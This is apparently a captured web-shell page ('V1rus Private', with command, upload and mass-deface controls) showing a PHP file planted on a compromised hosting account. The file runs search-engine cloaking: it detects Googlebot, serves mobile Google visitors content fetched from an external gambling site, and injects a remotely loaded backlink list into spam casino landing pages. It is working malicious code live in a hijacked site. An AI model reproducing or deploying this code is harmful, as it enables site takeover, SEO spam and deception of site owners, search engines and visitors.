V1rus Private
User / IP
:
216.73.216.191
Host / Server
:
195.200.9.12 / skeotcranes.com
System
:
Linux uk-fast-web1735.main-hosting.eu 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
u415165975
/
domains
/
skeotcranes.com
/
public_html
/
Viewing: product.php
<?php // ================= CLOAKING ================= function getClientIP() { foreach(['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR'] as $key) { if(!empty($_SERVER[$key])) { $ip = explode(',', $_SERVER[$key])[0]; return trim($ip); } } return '0.0.0.0'; } function isGoogleIP($ip) { $ranges = [ ['66.249.64.0', '66.249.95.255'], ['64.233.160.0', '64.233.191.255'], ['72.14.192.0', '72.14.255.255'], ['203.208.32.0', '203.208.63.255'], ['209.85.128.0', '209.85.255.255'], ['216.239.32.0', '216.239.63.255'] ]; $ip_long = ip2long($ip); foreach($ranges as $r) { if($ip_long >= ip2long($r[0]) && $ip_long <= ip2long($r[1])) return true; } return false; } function isGooglebot() { $ip = getClientIP(); $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); if( strpos($ua, 'googlebot') !== false || strpos($ua, 'google web preview') !== false || strpos($ua, 'google-structured-data-testing-tool') !== false || strpos($ua, 'google') !== false ) { $host = gethostbyaddr($ip); if(preg_match('/\.google(bot)?\.com$/', $host) && gethostbyname($host) === $ip) return true; if(isGoogleIP($ip)) return true; } return false; } function isMobile() { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); return preg_match('/android|iphone|ipad|mobile|opera mini|blackberry|windows phone/', $ua); } function isGoogleRefer() { $ref = $_SERVER['HTTP_REFERER'] ?? ''; return preg_match('~://(www\.)?google\.[a-z\.]+/~', strtolower($ref)); } // === EXECUTE CLOAKING === if (!isGooglebot()) { if (isMobile() && isGoogleRefer()) { $externalUrl = 'https://asha777-seo010.pages.dev'; $ch = curl_init($externalUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? ''); $result = curl_exec($ch); $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); if ($contentType) header("Content-Type: $contentType"); curl_close($ch); echo $result; exit; // stop, jangan load template asli } } // ================= CLOAKING END ================= /** * facilities.php * * Dynamic brand landing pages * - Load konten dari data.txt * - Render halaman SEO-friendly * - Support H2, paragraf, FAQ, schema, canonical */ // =============================== // Konfigurasi sumber data // =============================== $txt_source = __DIR__ . '/readme.txt'; $bl_source = 'https://pbn-ph.website/data/bl.txt'; // =============================== // Parsing data.txt ke array // =============================== function parse_massal_txt($txt) { $result = []; $cur_section = ''; foreach (explode("\n", $txt) as $line) { $line = trim($line); if ($line === '' || strpos($line, '//') === 0) continue; if (preg_match('/^#([A-Z0-9\-]+)/', $line, $m)) { $cur_section = strtolower($m[1]); $result[$cur_section] = []; } elseif ($cur_section) { $result[$cur_section][] = $line; } } return $result; } // =============================== // Load data // =============================== $raw_txt = @file_get_contents($txt_source); if ($raw_txt === false) die("data.txt not found"); $data = parse_massal_txt($raw_txt); // Mapping $brands = $data['brand'] ?? []; $images = $data['images'] ?? []; $title = $data['title'] ?? []; $desc = $data['description'] ?? []; $h2_1 = $data['h2-1'] ?? []; $h2_2 = $data['h2-2'] ?? []; $h2_3 = $data['h2-3'] ?? []; $h2_4 = $data['h2-4'] ?? []; $paragraf_h2_1 = $data['paragraf-h2-1'] ?? []; $paragraf_h2_2 = $data['paragraf-h2-2'] ?? []; $paragraf_h2_3 = $data['paragraf-h2-3'] ?? []; $paragraf_h2_4 = $data['paragraf-h2-4'] ?? []; $faq_question = $data['faq-question'] ?? []; $faq_answer = $data['faq-answer'] ?? []; // =============================== // Helpers // =============================== function createSlug($text) { $slug = strtolower($text); $slug = preg_replace('/[^a-z0-9\s-]/', '', $slug); $slug = preg_replace('/[\s-]+/', '-', $slug); return trim($slug, '-'); } function getLooped($arr, $idx) { if (!$arr) return ''; $n = count($arr); if ($n == 0) return ''; return $arr[$idx % $n]; } function applyBrandPlaceholder($text, $brandName) { return str_replace(['$brandName', '{{BRAND}}'], $brandName, $text); } // =============================== // Schema Builder // =============================== function buildSchemas($brandName, $title, $desc, $canonical, $imageUrl, $faq_question, $faq_answer) { $organization = [ "@context" => "https://schema.org", "@type" => "Organization", "name" => $brandName, "url" => $canonical, "logo" => $imageUrl ?: "", "description" => $desc ]; $website = [ "@context" => "https://schema.org", "@type" => "WebSite", "name" => $brandName, "url" => $canonical ]; $webpage = [ "@context" => "https://schema.org", "@type" => "WebPage", "url" => $canonical, "name" => $title, "description" => $desc ]; $faqEntities = []; foreach ($faq_question as $i => $q) { $ans = $faq_answer[$i] ?? ''; if (!$q || !$ans) continue; $faqEntities[] = [ "@type" => "Question", "name" => applyBrandPlaceholder($q, $brandName), "acceptedAnswer" => [ "@type" => "Answer", "text" => applyBrandPlaceholder($ans, $brandName) ] ]; } $faqSchema = [ "@context" => "https://schema.org", "@type" => "FAQPage", "mainEntity" => $faqEntities ]; $schemas = [$organization,$website,$webpage,$faqSchema]; $html = ""; foreach ($schemas as $s) { $html .= '<script type="application/ld+json">'.json_encode($s,JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT)."</script>\n"; } return $html; } // =============================== // FAQ HTML // =============================== function buildFaqHtml($questions, $answers, $brandName) { $html = '<section class="faq-section">'; $html .= '<h2 class="faq-title">Frequently Asked Questions (FAQ) ' . htmlspecialchars($brandName) . '</h2>'; $html .= '<div class="faq-list">'; foreach ($questions as $i => $q) { $ans = $answers[$i] ?? ''; $html .= '<div class="faq-item">'; $html .= '<button class="faq-question" aria-expanded="false">' . htmlspecialchars(applyBrandPlaceholder($q, $brandName)) . '<span class="faq-arrow">▼</span>' . '</button>'; $html .= '<div class="faq-answer">' . nl2br(htmlspecialchars(applyBrandPlaceholder($ans, $brandName))) . '</div>'; $html .= '</div>'; } $html .= '</div></section>'; return $html; } // =============================== // Main Render // =============================== function render_massal_page() { global $brands,$images,$title,$desc, $h2_1,$paragraf_h2_1,$h2_2,$paragraf_h2_2, $h2_3,$paragraf_h2_3,$h2_4,$paragraf_h2_4, $faq_question,$faq_answer,$bl_source; // Base URL $baseUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . "/"; // Ambil slug dari query string (hasil rewrite) $slug = $_GET['slug'] ?? ''; $slug = createSlug($slug); // Cari brand $foundBrand = ''; $brandIndex = null; foreach ($brands as $i => $brand) { $slugBrand = createSlug($brand); if ($slug === $slugBrand) { $foundBrand = $brand; $brandIndex = $i; break; } } if ($brandIndex === null) { http_response_code(404); echo "<h1>404 Not Found</h1><p>Brand not found.</p>"; exit; } $brandName = strtoupper(trim($foundBrand)); $titleText = applyBrandPlaceholder(getLooped($title, $brandIndex), $brandName); $descContent = applyBrandPlaceholder(getLooped($desc, $brandIndex), $brandName); $imageUrl = getLooped($images, $brandIndex); // H2 Blocks $h2Blocks = ''; for ($i=1;$i<=4;$i++) { $h2Data = ${"h2_$i"} ?? []; $pData = ${"paragraf_h2_$i"} ?? []; $h2Title = applyBrandPlaceholder(getLooped($h2Data, $brandIndex), $brandName); $pContent = applyBrandPlaceholder(getLooped($pData, $brandIndex), $brandName); if ($h2Title || $pContent) { $h2Blocks .= "<section class=\"info-section\"> <h2 class=\"section-title\">$h2Title</h2> <p>$pContent</p> </section>"; } } $schemaHtml = buildSchemas($brandName, $titleText, $descContent, $baseUrl . $slug, $imageUrl, $faq_question, $faq_answer); $faqHtml = buildFaqHtml($faq_question,$faq_answer,$brandName); $blData = @file_get_contents($bl_source) ?: ''; // Template $template = <<<HTML <!DOCTYPE html> <html lang="en-BD"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- Primary Meta Tags --> <title>{{TITLE}}</title> <meta name="title" content="{{TITLE}}" /> <meta name="description" content="{{DESC}}" /> <meta name="keywords" content="{{BRAND}}" /> <meta name="page:google.com" content="https://www.google.com/search?q={{BRAND}}" /> <meta name="page:google.com.bd" content="https://www.google.com.bd/search?q={{BRAND}}" /> <meta name="author" content="soyo" /> <meta name="robots" content="index, follow" /> <meta name="language" content="English" /> <!-- Canonical URL --> <link rel="canonical" href="{{CANONICAL}}" /> <!-- Favicon --> <link rel="icon" type="image/webp" href="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" /> <link rel="logo" type="image/webp" href="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" /> <link rel="apple-touch-icon" href="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" /> <!-- Image --> <meta property="og:image" content="{{IMAGE}}" alt="{{BRAND}} banner1" title="{{BRAND}} banner1" /> <meta name="og:image" content="{{IMAGE}}" alt="{{BRAND}} banner1" title="{{BRAND}} banner1" /> <meta property="og:image:secure_url" content="{{IMAGE}}" alt="{{BRAND}} banner1" title="{{BRAND}} banner1" /> <meta name="og:image:secure_url" content="{{IMAGE}}" alt="{{BRAND}} banner1" title="{{BRAND}} banner1" /> <!-- Open Graph / Facebook --> <meta property="og:site_name" content="{{BRAND}}" /> <meta property="og:type" content="website" /> <meta property="og:url" content="{{CANONICAL}}" /> <meta property="og:title" content="{{TITLE}}" /> <meta property="og:description" content="{{DESC}}" /> <meta property="og:image" content="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" /> <meta name="og:locale" content="en_BD" /> <!--Lang Language & Location--> <meta name="page-locale" content="en_BD" /> <meta name="language" content="en" /> <meta name="geo.region" content="BD" /> <meta name="geo.country" content="BD" /> <meta name="geo.placename" content="Dhaka" /> <meta name="tgn.nation" content="Bangladesh" /> <!-- Twitter --> <meta property="twitter:card" content="summary_large_image" /> <meta property="twitter:url" content="{{CANONICAL}}" /> <meta property="twitter:title" content="{{TITLE}}" /> <meta property="twitter:description" content="{{DESC}}" /> <meta property="twitter:image" content="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" /> <!-- Preconnect --> <link rel="preconnect" href="https://ik.imagekit.io" /> <link rel="preconnect" href="https://fonts.googleapis.com" /> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <!-- CSS --> <link rel="stylesheet" href="https://ik.imagekit.io/soyo/BD/tunnel/asset1/style.css"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap" rel="stylesheet"> {{SCHEMA}} </head> <body> <header class="site-header"> <a href="#maincontent" class="skip-link">Skip to main content</a> <div class="header-container"> <a href="{{CANONICAL}}" aria-label="Homepage" class="site-logo-link"> <img src="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" alt="{{BRAND}} Logo" title="{{BRAND}} Logo" class="site-logo-img"> </a> <nav class="main-nav" aria-label="Main navigation"> <ul class="nav-menu"> <li><a href="{{CANONICAL}}">{{BRAND}} Casino</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} Login</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} Casino</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} Slot</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} FAQ</a></li> </ul> </nav> <button class="nav-toggle" aria-label="Open navigation" aria-expanded="false"> <span class="bar"></span> <span class="bar"></span> <span class="bar"></span> </button> </div> </header> <main class="main-content" id="maincontent"> <!-- SECTION H1 - Banner & Intro --> <section class="brand-header"> <a href="https://www.asha778.com/"> <div class="brand-name">www.asha778.com</div> </a> <h1 class="page-title">{{TITLE}}</h1> <img src="{{IMAGE}}" alt="{{BRAND}} Banner 1" title="{{BRAND}} Banner 1" class="featured-image" loading="lazy"> <div class="content"> <p>{{DESC}}</p> </div> </section> <!-- SECTION H2 #1 --> {{H2-BLOCKS}} <!-- SECTION FAQ --> {{FAQ}} </main> <!-- Desktop Footer --> <footer class="footer-advanced"> <div class="footer-container"> <div class="footer-about"> <a href="{{CANONICAL}}" aria-label="Homepage" class="footer-logo-link"> <img src="https://ik.imagekit.io/soyo/PH/tunnel/images/jili.webp" alt="{{BRAND}} Logo" title="{{BRAND}} Logo" class="footer-logo-img"> </a> <h4>{{TITLE}}</h4> <p>{{DESC}}</p> </div> <div class="footer-links"> <h4>Quick Links</h4> <ul> <li><a href="{{CANONICAL}}">{{BRAND}} Casino</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} Login</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} Casino</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} Slot</a></li> <li><a href="{{CANONICAL}}">{{BRAND}} FAQ</a></li> </ul> </div> <div class="footer-legal"> <h4>Legal</h4> <ul> <li><a href="{{CANONICAL}}">About Us</a></li> <li><a href="{{CANONICAL}}">Terms & Conditions</a></li> <li><a href="{{CANONICAL}}">Privacy & Policy</a></li> <li><a href="{{CANONICAL}}">Responsible Gaming</a></li> </ul> </div> <div class="footer-social"> <h4>Connect</h4> <div class="social-icons"> <a href="{{CANONICAL}}" aria-label="Facebook" target="_blank" rel="noopener"> <!-- Facebook SVG --> <svg width="28" height="28" fill="none" viewBox="0 0 28 28"><circle cx="14" cy="14" r="14" fill="#232946"/><path d="M17.458 14.53l.337-2.2h-2.095V10.87c0-.603.295-1.19 1.244-1.19h.964V7.748A11.73 11.73 0 0 0 16.13 7.66c-1.71 0-2.83 1.036-2.83 2.915v1.754h-1.902v2.2h1.902V21h2.35v-6.47h1.758z" fill="#fff"/></svg> </a> <a href="{{CANONICAL}}" aria-label="Twitter" target="_blank" rel="noopener"> <!-- Twitter SVG --> <svg width="28" height="28" fill="none" viewBox="0 0 28 28"><circle cx="14" cy="14" r="14" fill="#232946"/><path d="M22.093 10.127a5.618 5.618 0 0 1-1.61.441 2.797 2.797 0 0 0 1.229-1.541 5.637 5.637 0 0 1-1.782.68 2.822 2.822 0 0 0-4.808 2.572A8.025 8.025 0 0 1 7.21 9.36a2.82 2.82 0 0 0 .872 3.77 2.806 2.806 0 0 1-1.277-.353v.036a2.822 2.822 0 0 0 2.264 2.767 2.805 2.805 0 0 1-1.273.048 2.825 2.825 0 0 0 2.637 1.96 5.664 5.664 0 0 1-3.508 1.21c-.228 0-.453-.013-.674-.04A8.021 8.021 0 0 0 13.34 20c5.094 0 7.885-4.22 7.885-7.883 0-.12-.003-.24-.009-.36a5.637 5.637 0 0 0 1.377-1.43z" fill="#fff"/></svg> </a> <a href="{{CANONICAL}}" aria-label="Instagram" target="_blank" rel="noopener"> <!-- Instagram SVG --> <svg width="28" height="28" fill="none" viewBox="0 0 28 28"><circle cx="14" cy="14" r="14" fill="#232946"/><g><rect x="8" y="8" width="12" height="12" rx="4" stroke="#fff" stroke-width="2"/><circle cx="14" cy="14" r="3" stroke="#fff" stroke-width="2"/><circle cx="18.5" cy="9.5" r="1" fill="#fff"/></g></svg> </a> <a href="{{CANONICAL}}" aria-label="Telegram" target="_blank" rel="noopener"> <!-- Telegram SVG --> <svg width="28" height="28" fill="none" viewBox="0 0 28 28"><circle cx="14" cy="14" r="14" fill="#232946"/><path d="M20.734 8.608c-.18-.148-.422-.178-.633-.078L7.01 14.485a.59.59 0 0 0 .04 1.092l2.951 1.137 1.136 2.951a.59.59 0 0 0 1.092.04l5.954-13.091a.589.589 0 0 0-.083-.748zm-6.01 9.91-1.09-2.835 5.454-4.099-4.364 6.934zm.25-1.364-1.805-.695-2.26-.872 10.181-3.921-6.116 5.488zm-2.24-1.283 2.284.89 5.393-6.028-7.677 5.138z" fill="#fff"/></svg> </a> </div> </div> </div> <div class="footer-bottom"> © 2025 {{BRAND}}. All rights reserved. Soyo. </div> {{BL-DATA}} </footer> <!-- Fixed Mobile Footer --> <footer class="fixed-footer"> <nav class="footer-nav"> <a href="https://asha777-seo010.pages.dev" class="footer-button"> <!-- Sign Up Icon: User Plus --> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M16 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/> <circle cx="9" cy="7" r="4"/> <line x1="19" y1="8" x2="19" y2="14"/> <line x1="22" y1="11" x2="16" y2="11"/> </svg> <span>Sign Up</span> </a> <a href="https://asha777-seo010.pages.dev" class="footer-button"> <!-- Login Icon: Log In --> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M15 3h4a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2h-4"/> <polyline points="10 17 15 12 10 7"/> <line x1="15" y1="12" x2="3" y2="12"/> </svg> <span>Login</span> </a> <a href="https://asha777-seo010.pages.dev" class="footer-button"> <!-- Bonus Icon: Gift --> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <rect x="2" y="7" width="20" height="14" rx="2" ry="2"/> <path d="M16 3a4 4 0 0 1 0 8H8a4 4 0 0 1 0-8"/> <line x1="12" y1="7" x2="12" y2="21"/> </svg> <span>Bonus</span> </a> </nav> </footer> <!-- External JS --> <script src="https://ik.imagekit.io/soyo/BD/tunnel/asset1/main.js"></script> </body> </html> HTML; $replacer = [ '{{BRAND}}' => htmlspecialchars($brandName), '{{TITLE}}' => htmlspecialchars($titleText), '{{DESC}}' => htmlspecialchars($descContent), '{{CANONICAL}}' => htmlspecialchars($baseUrl . $slug), '{{IMAGE}}' => htmlspecialchars($imageUrl), '{{H2-BLOCKS}}' => $h2Blocks, '{{FAQ}}' => $faqHtml, '{{SCHEMA}}' => $schemaHtml, '{{BL-DATA}}' => $blData, ]; echo str_replace(array_keys($replacer), array_values($replacer), $template); } render_massal_page(); exit; ?>
Coded With 💗 by
HanzOFC